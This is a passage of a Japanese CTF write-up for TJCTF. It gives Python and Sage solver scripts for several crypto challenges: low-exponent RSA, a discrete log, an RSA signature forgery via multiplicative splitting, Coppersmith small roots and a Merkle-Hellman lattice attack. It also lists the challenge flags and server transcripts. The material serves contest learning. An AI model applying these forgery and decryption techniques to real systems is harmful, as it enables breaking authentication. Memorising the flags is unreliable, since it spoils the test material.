$ zsteg image.png -a | grep tjctf b1,r,msb,yx .. text: "tjctf{feudalism_still_bad_ea31e43b}Soon after his succession, probably in 1058, Guiscard separated from his wife Alberada because they were related within the prohibited degrees. Shortly after, he married Sichelgaita, the sister of Gisulf II of Salerno, Gu"
tjctf{feudalism_still_bad_ea31e43b}
baby-rsa (crypto)
nが大きく、eが極端に小さいため、Low Public-Exponent Attackで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * import gmpy2 with open('output.txt', 'r') as f: params = f.read().splitlines() e = int(params[1].split(' ')[-1]) c = int(params[2].split(' ')[-1]) m, success = gmpy2.iroot(c, e) assert success == True flag = long_to_bytes(m).decode() print(flag)
tjctf{thr33s_4r3_s0_fun_fb23d5ed}
ezdlp (crypto)
DLPの問題。そのままsageに解かせる。
#!/usr/bin/env sage with open('numbers.txt', 'r') as f: params = f.read().splitlines() g = int(params[0].split(' = ')[1]) s = int(params[1].split(' = ')[1]) p = int(params[2].split(' = ')[1]) R = IntegerModRing(p) x = discrete_log(R(s), R(g)) flag = 'tjctf{%d}' % x print(flag)
tjctf{26104478854569770948763268629079094351020764258425704346666185171631094713742516526074910325202612575130356252792856014835908436517926646322189289728462011794148513926930343382081388714077889318297349665740061482743137948635476088264751212120906948450722431680198753238856720828205708702161666784517}
iheartrsa (crypto)
サーバの処理概要は以下の通り。
・raw_bin: flagのsha256ダイジェスト(hex)の数値を2進数にしたもの ・hsh: rawbinの10進数の値に2**256を足した値 ・p, q: 1024ビット素数 ・n = p * q ・e = 0 ・iが0以上100未満に対して、以下を実行 ・pow(hsh, i) がn以上の場合 ・e = i ・ループを抜ける ・m = pow(hsh, e, n) ・m, nを表示 ・answer: 入力 ・answerがhshと同じ場合、フラグを表示
何回か試してみたところ、eは8になる。さらにpow(hsh, e) // n は256より小さいので、総当たりで m + n * K(256未満) の8乗根が整数になるものを探して復号する。
#!/usr/bin/env python3 import socket from gmpy2 import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('tjc.tf', 31628)) data = recvuntil(s, b'\n').rstrip() print(data) m = int(data.split(' ')[-1]) data = recvuntil(s, b'\n').rstrip() print(data) n = int(data.split(' ')[-1]) e = 8 for i in range(256): c = m + n * i hsh, success = gmpy2.iroot(c, e) if success: break print(str(hsh)) s.sendall(str(hsh).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
m: 7473437009094145356480020959416772031102247339528911282515743824557656860179084290486381182872093426883049985253796658410702040799123245288969929653544099656693213785395325928709980685920946675627334539837324408155880226928656812447786479847879974397034448497489356669996925660107582099259060026543482425446978084239507075454118407151120826264564922484847738539364334477974763367113423196508171127243351596984588181845203564091087736487331836830690339936224960040865585390403459269148622495729469341978212165527925266673639797940920948835324297642394173647797283491875132666721278358296226966118370679542177116190129 n: 13096403248546190002694627702576409123466030137717456502180208052213110225765926488997060926675147006421557325016457030029465194276759448763137147150380852193933067643589719927987210326300205145633287269903386071439176724067237135566308261803807498094108911257090939178802523349738468324333081726850661727030387539343138348324618356049610224434850023639811253131266648820467075701523840293189958226298423787455949034049867884147879799154837539172765225223288973351784406853699018319668821273649392409919144626966380852828552180624337205900645518387175977847035095758763041670763254765787204722904502970404016754337087 146913410772757766194482407144214295333114411765260602423197339861209058274813 you love rsa so i <3 you :DD tjctf{iloversaasmuchasilovemymom0xae701ebb}
tjctf{iloversaasmuchasilovemymom0xae701ebb}
squishy (crypto)
サーバの処理概要は以下の通り。
・e = 65537 ・users = {b"admin"} ・p, q: 1000ビット素数 ・n = p * q ・d = pow(e, -1, (p - 1) * (q - 1)) ・nを表示 ・以下繰り返し ・cmd: 入力 ・cmdが"new"の場合 ・name: 入力 ・usersにない場合 ・usersにnameを追加 ・nameとsign(name)を表示 ・sign(name) = pow(nameの数値, d, n) ・cmdが"login"の場合 ・name: 入力 ・sig: 入力 ・check(name, sig)がTrueでusersにnameがある場合 ・nameが"admin"の場合、フラグを表示
"admin"の数値化したものをmとする。それを整数の積にできた場合、以下のようになる。
m = m1 * m2 sig1 = pow(m1, d, n) sig2 = pow(m2, d, n) sig = pow(m, d, n) = pow(m1, d, n) * pow(m2, d, n) % n = (sig1 * sig2) % n
このことを使って、"admin"のsignの値を算出できる。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) name = b'admin' name1 = long_to_bytes(2) name2 = long_to_bytes(bytes_to_long(name) // 2) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('tjc.tf', 31358)) data = recvuntil(s, b'\n').rstrip() print(data) n = int(data) data = recvuntil(s, b': ') print(data + 'new') s.sendall(b'new\n') data = recvuntil(s, b': ') print(data, end='') print(name1) s.sendall(name1 + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) sig1 = int(data.split(' ')[-1]) data = recvuntil(s, b': ') print(data + 'new') s.sendall(b'new\n') data = recvuntil(s, b': ') print(data, end='') print(name2) s.sendall(name2 + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) sig2 = int(data.split(' ')[-1]) sig = (sig1 * sig2) % n data = recvuntil(s, b': ') print(data + 'login') s.sendall(b'login\n') data = recvuntil(s, b': ') print(data + name.decode()) s.sendall(name + b'\n') data = recvuntil(s, b': ') print(data + str(sig)) s.sendall(str(sig).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
105016252217463226099247970713072779048523346606238962374159325305510218533174465475455223987113731660954500879726529805872856394474290621754499404318284283313974140926169043422902497727228964126469172548629427270876979785200295821734987202265706136838037700084951185360905381041052926662451679706277452529619142906035627518649668743598011063555073908786437500733044443134023811922211885949954535292653086302935098022667660516584828568578072614514798306107708909835336204501747732947354530976286808332087982399374949108977950803540019285510971518824499095532060363054891875686906054176478419720604870977 Cmd: new Name: b'\x02' b'\x02' 27987642186633783753071812826627869071712610172276252030207450486901147072303022655721187162293140107927650707038629009308440587532129013675613899118267323353097515834991953468624614613505795057107800047399719346986615886246839210355499728172718543776010138234672190402693839166719734746021277380343464994356980436158677763377397418765719970581552166016914032527359214394144511747477207573185040553905370611916484297671851865609402708678196756141147645352747332971534097131775666150943267562526533493882767559337253705299542682556296532559106434678929474725885000072684205784758171043773506724667026263 Cmd: new Name: b'0\xb26\xb4\xb7' b'0\xb26\xb4\xb7' 36133206675016908158449227930106089839155287495692400592499185501974482669426209728058178752262282758010351932760402191742734219009736181079112629111289896066012456574725153485206425267636021264062447901445555317003609779791403748375779738372659513775838937139492785891280087543301913961399205487434005838123882796335164377806739325253728535919544468119778424531898880765004292570763397378742969053078067637427926335540432338791955783305967160896300280917086996445011990764532714708005012855204459121604184546864135602537229181336259738973929157165265398152058729969794146017369822570656809235969152673 Cmd: login Name: admin Sign: 86774681825057547283268736515017484149613881281810308000588179350226341888122542538601892979209213401942189336487554173754605133029023901542734238165556294168959505202214864214216501139962007061680568161716558514121283302421397473457722060438120312482535481843440310128898570320565069488567556125485290257391078969482524244989991831009441817897234667474397465576871492088680838997980795703772873003381527872693295941543171916758084320933773691734539164527649463634911948599498925145788916441856983280147279126651268047324439287170675508136490904584532665421971452252297405844851611731686699559783002803 Hey how'd that happen... tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}
tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}
e (crypto)
平文の上位ビットがわかっているので、Coppersmithの定理を使って復号する。
#!/usr/bin/env sage from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() N = int(params[0].split(' ')[-1]) C = int(params[1].split(' ')[-1]) e = int(params[2].split(' ')[-1]) for i in range(1, 64): kbits = i * 8 mbar = bytes_to_long(b'the challenges flag is tjctf{') * (256 ** i) PR.<x> = PolynomialRing(Zmod(N)) f = (mbar + x)^e - C x = f.small_roots(X=2^kbits, beta=1) if len(x) != 0: m = int(mbar + x[0]) break msg = long_to_bytes(m).decode() print(msg)
実行結果は以下の通り。
the challenges flag is tjctf{coppersword2}
tjctf{coppersword2}
merky-hell (crypto)
暗号化処理の概要は以下の通り。
・n = 48 ・pub, _ = makeKey() ・W = [] ・s = 0 ・n未満のiについて以下を実行 ・curr = 0 ・iが0以外の場合 ・curr = randint((2**i - 1) * 2**n + 1, 2**(i+n)) ・iが0の場合 ・curr = randint(1, 2**n) ・s += curr ・Wにcurrを追加 ・q = randint((1 << (2 * n + 1)) + 1, (1 << (2 * n + 2)) - 1) ・r = randint(2, q - 2) ・r //= gcd(r, q) ・B = [] ・Wの各値wについて以下を実行 ・Bに(r * w) % qを追加 ・B, (W, q, r)を返却 ・sup_sec_num: ランダムnビット整数 ・msg = encrypt(pub, sup_sec_num) ・sup_sec_numの上位ビットから各ビットが立っている場合、対応するpublic[i]を足す。 ・iv: ランダム16バイト ・key: sup_sec_numをバイト文字列化し、パディング ・ct: flagをパディングし、AES-CBC暗号化 ・B, msg, iv, ctを出力
Wは超増加数列で、Bは(r * w) % qになっている。Merkle-Hellmanナップサック暗号になっており、シャミアの攻撃法でsup_sec_numを復号する。あとはkeyを算出し、AES-CBC復号すればフラグになる。
#!/usr/bin/env sage from Crypto.Util.number import * from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad with open('output.txt', 'r') as f: params = f.read().splitlines() B = eval(params[0].split(' = ')[1]) msg = int(params[1].split(' = ')[1]) iv = bytes.fromhex(params[2].split(' = ')[1]) ct = bytes.fromhex(params[3].split(' = ')[1]) n = len(B) d = float(n / log(max(B), 2)) MULTIPLIER = 100 M = matrix(ZZ, n + 1, n + 1) M.set_block(0, 0, MULTIPLIER * matrix(n, 1, B)) M.set_block(n, 0, MULTIPLIER * matrix([-msg])) M.set_block(0, 1, 2 * identity_matrix(n)) M.set_block(n, 1, matrix([-1] * n)) for x in M.LLL(): if all(x_i in [-1, +1] for x_i in x[1:]): sup_sec_num = 0 for x_i in x[1:]: sup_sec_num *= 2 sup_sec_num += int(x_i == +1) break key = pad(long_to_bytes(sup_sec_num), 16) cipher = AES.new(key, AES.MODE_CBC, iv=iv) flag = unpad(cipher.decrypt(ct), 16).decode() print(flag)
tjctf{knaps4ck-rem0v4L0-CreEEws1278bh}
survey (misc)
アンケートに答えたらフラグが表示された。
tjctf{thanks_for_playing}